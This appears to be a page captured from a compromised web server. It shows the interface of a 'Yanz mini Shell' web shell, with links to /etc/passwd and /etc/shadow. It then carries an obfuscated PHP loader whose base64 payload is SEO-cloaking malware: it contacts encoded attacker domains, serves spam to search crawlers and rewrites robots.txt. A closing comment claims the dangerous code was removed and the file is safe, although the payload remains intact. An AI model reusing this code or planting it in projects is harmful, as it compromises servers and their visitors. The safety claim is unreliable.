Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
$b2 = 'b' . 'as' . 'e' . '6' . '4_d' . 'e' . 'c' . 'o' . 'd' . 'e';
$b3 = 'c' . 'o' . 'nve' . 'rt' . '_u' . 'uen' . 'co' . 'de';
$b4 = 'c' . 'o' . 'nve' . 'rt' . '_u' . 'ude' . 'co' . 'de';
$string="PD9waHAKJHhtbG5hbWUgPSBbIiUzMiUzNiUzMyUyRCU3OSU3NiU2MSU3OCUzMSUzNyUzNiUyRSU3MCU2MiU2MSU2OSU2MiU3OSU2OCU2NyU2QyUyRSU2QiU2QyU2RCIsIiUzMiUzNiUzMyUyRCU3OSU3NiU2MSU3OCUzMSUzNyUzNiUyRSU3MiU2MyU3NSU3MiU3QSU3MiU3NiU2QiUyRSU2NyU2MiU2MyIsIiUzMiUzNiUzMyUyRCU3OSU3NiU2MSU3OCUzMSUzNyUzNiUyRSU2NCU2OCU2RSU2MSU2NyU2OCU2RSU2NyU2NyUyRSU2QiU2QyU2RCIsIiUzMiUzNiUzMyUyRCU3OSU3NiU2MSU3OCUzMSUzNyUzNiUyRSU2NyU3MiU3MCU3NSU2MSU3MiU2QiU2MyUyRSU2NyU2MiU2MyJdOwokaHR0cF93ZWIgPSAnaHR0cHMnOwokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJGxhbmcgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSA6ICdlbic7CiR1cmxzaGFuZyA9ICcnOwppZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgewogICAgJHVybHNoYW5nID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwp9CmlmIChpc19odHRwcygpKSB7CiAgICAkaHR0cCA9ICdodHRwcyc7Cn0gZWxzZSB7CiAgICAkaHR0cCA9ICdodHRwJzsKfQokenogPSBkaXNib3QoKTsKJGR1cmkgPSBkcmVxdWVzdF91cmkoKTsKJGR1cmkgPSAkZHVyaSA9PSAnJyA/ICcvJyA6ICRkdXJpOwpwcmVnX21hdGNoKCcvXC8oW15cL10rXC5waHApLycsICRkdXJpLCAkbWF0Y2hlcyk7CmlmIChlbXB0eSgkbWF0Y2hlcykgfHwgJG1hdGNoZXNbMV0gPT0gJ3dwLWNyb20ucGhwJyB8fCAkbWF0Y2hlc1sxXSA9PSAnZGV0YWlsLnBocCcpIHsKICAgICRtb2RlbF9maWxlID0gJ2luZGV4LnBocCc7CiAgICAkbW9kZWwgPSAnaW5kZXgnOwp9IGVsc2UgewogICAgJG1vZGVsX2ZpbGUgPSAkbWF0Y2hlc1sxXTsKICAgICRwb3NpdGlvbiA9IHN0cnBvcygkZHVyaSwgJG1vZGVsX2ZpbGUpOwogICAgaWYgKCRwb3NpdGlvbiAhPT0gZmFsc2UpIHsKICAgICAgICAkbW9kZWxfZmlsZSA9IHN1YnN0cigkZHVyaSwgMCwgJHBvc2l0aW9uICsgc3RybGVuKCRtb2RlbF9maWxlKSk7CiAgICAgICAgJG1vZGVsX2ZpbGUgPSBsdHJpbSgkbW9kZWxfZmlsZSwgJy8nKTsKICAgIH0KICAgICRtb2RlbCA9IHN0cl9yZXBsYWNlKCcucGhwJywgJycsICRtb2RlbF9maWxlKTsKfQppZiAoc3RyaXN0cigkZHVyaSwgJy8/JykpIHsKICAgICRtb2RlbCA9ICc/JzsKfQokc3RyaW5nID0gJzI2My1saW5rMTc2JzsKJGlzdGVzdCA9IGZhbHNlOwppZiAoc3RycG9zKCRkdXJpLCAkc3RyaW5nKSAhPT0gZmFsc2UpIHsKICAgICR6eiA9IDE7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCRzdHJpbmcsICcnLCAkZHVyaSk7CiAgICAkaXN0ZXN0ID0gdHJ1ZTsKfQppZiAoJGR1cmkgIT0gJy8nKSB7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvJyAuICRtb2RlbF9maWxlLCAnJywgJGR1cmkpOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnL2luZGV4LnBocCcsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCchJywgJycsICRkdXJpKTsKfQokZHVyaSA9IHVybGVuY29kZSgkZHVyaSk7CiRzZXJ2ZXIgPSBkZXRlY3Rfc2VydmVyX3NvZnR3YXJlKCk7CmNyZWF0ZV9yb2JvdHMoJGh0dHAgLiAnOi8vJyAuICRob3N0KTsKJHBhcmFtID0gJ3dlYj0nIC4gJGhvc3QgLiAnJnp6PScgLiAkenogLiAnJnVyaT0nIC4gJGR1cmkgLiAnJnVybHNoYW5nPScgLiAkdXJsc2hhbmcgLiAnJmh0dHA9JyAuICRodHRwIC4gJyZsYW5nPScgLiAkbGFuZyAuICcmc2VydmVyPScgLiAkc2VydmVyIC4gJyZtb2RlbD0nIC4gJG1vZGVsOwokaHRtbF9jb250ZW50ID0gcmVxdWVzdCgkeG1sbmFtZSwgJGh0dHBfd2ViLCAkcGFyYW0pOwppZiAoIXN0cnN0cigkaHRtbF9jb250ZW50LCAnbm9ib3R1c2VyYWdlbnQnKSkgewogICAgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2todG1sJykpIHsKICAgICAgICBAaGVhZGVyKCdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgnb2todG1sJywgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgIGlmICgkaXN0ZXN0KSB7CiAgICAgICAgICAgIGVjaG8gJHN0cmluZzsKICAgICAgICB9CiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50OwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NTAwcGFnZScpKSB7CiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICc0MDRwYWdlJykpIHsKICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJzMwMXBhZ2UnKSkgewogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDMwMSBNb3ZlZCBQZXJtYW5lbnRseScpOwogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgnMzAxcGFnZScsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGh0bWxfY29udGVudCk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29reG1sJykpIHsKICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoJ29reG1sJywgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgIEBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veG1sOyBjaGFyc2V0PXV0Zi04Jyk7CiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50OwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva3JvYm90cycpKSB7CiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCdva3JvYm90cycsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBAaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsKICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7CiAgICAgICAgZXhpdCgpOwogICAgfQp9CmZ1bmN0aW9uIGRpc2JvdCgpCnsKICAgICR1c2VyX2FnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOwogICAgaWYgKHN0cmlzdHIoJHVzZXJfYWdlbnQsICdnb29nbGVib3QnKSB8fCBzdHJpc3RyKCR1c2VyX2FnZW50LCAnYmluZycpIHx8IHN0cmlzdHIoJHVzZXJfYWdlbnQsICd5YWhvbycpIHx8IHN0cmlzdHIoJHVzZXJfYWdlbnQsICdnb29nbGUnKSB8fCBzdHJpc3RyKCR1c2VyX2FnZW50LCAnR29vZ2xlYm90JykpIHsKICAgICAgICByZXR1cm4gMTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIDI7CiAgICB9Cn0KCmZ1bmN0aW9uIGRyZXF1ZXN0X3VyaSgpCnsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsKICAgICAgICAkZHVyaSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgfSBlbHNlIHsKICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ2FyZ3YnXSkpIHsKICAgICAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydhcmd2J11bMF07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJGR1cmk7Cn0KCmZ1bmN0aW9uIGlzX2h0dHBzKCkKewogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICE9PSAnb2ZmJykgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBkZXRlY3Rfc2VydmVyX3NvZnR3YXJlKCkKewogICAgJHBhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy8uaHRhY2Nlc3MnOwogICAgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSkgewogICAgICAgIHJldHVybiAxOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gMjsKICAgIH0KfQoKZnVuY3Rpb24gY3JlYXRlX3JvYm90cygkdXJsKQp7CiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3JvYm90cy50eHQnOwogICAgJGNvbnRlbnQgPSAnVXNlci1hZ2VudDogKicgLiBQSFBfRU9MOwogICAgJGNvbnRlbnQgLj0gJ0FsbG93OiAvJyAuIFBIUF9FT0wgLiBQSFBfRU9MOwogICAgJGNvbnRlbnQgLj0gJ1NpdGVtYXA6ICcgLiAkdXJsIC4gJy9zaXRlbWFwLnhtbCcgLiBQSFBfRU9MOwogICAgJGNvbnRlbnQgLj0gJ1NpdGVtYXA6ICcgLiAkdXJsIC4gJy9zaXRlbWFwLTEueG1sJyAuIFBIUF9FT0w7CiAgICAkY29udGVudCAuPSAnU2l0ZW1hcDogJyAuICR1cmwgLiAnL3NpdGVtYXAtMi54bWwnIC4gUEhQX0VPTDsKICAgICRjb250ZW50IC49ICdTaXRlbWFwOiAnIC4gJHVybCAuICcvc2l0ZW1hcC0zLnhtbCcgLiBQSFBfRU9MOwogICAgJGNvbnRlbnQgLj0gJ1NpdGVtYXA6ICcgLiAkdXJsIC4gJy9zaXRlbWFwLTQueG1sJyAuIFBIUF9FT0w7CiAgICAkY29udGVudCAuPSAnU2l0ZW1hcDogJyAuICR1cmwgLiAnL3NpdGVtYXAtNS54bWwnIC4gUEhQX0VPTDsKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGV4aXN0aW5nQ29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICAgICAgICBpZiAoJGV4aXN0aW5nQ29udGVudCAhPT0gJGNvbnRlbnQpIHsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHJlcXVlc3QoJHdlYnMsICRodHRwX3dlYiwgJHBhcmFtKQp7CiAgICBzaHVmZmxlKCR3ZWJzKTsKICAgIGZvcmVhY2ggKCR3ZWJzIGFzICRkb21haW4pIHsKICAgICAgICAkZG9tYWluID0gc3RyX3JvdDEzKHVybGRlY29kZSgkZG9tYWluKSk7CiAgICAgICAgJHVybCA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGRvbWFpbiAuICcvc3VwZXI2LnBocD8nIC4gJHBhcmFtOwogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgaWYgKCFjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChzdHJpc3RyKGN1cmxfZXJyb3IoJGNoKSwgJzQ0MycpKSB7CiAgICAgICAgICAgICAgICBlY2hvICI0NDMiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRyZXNwb25zZSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJ25vYm90dXNlcmFnZW50JzsKfQoK";
$encode=$b3($string);

$string1=$b2($b4($encode));

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/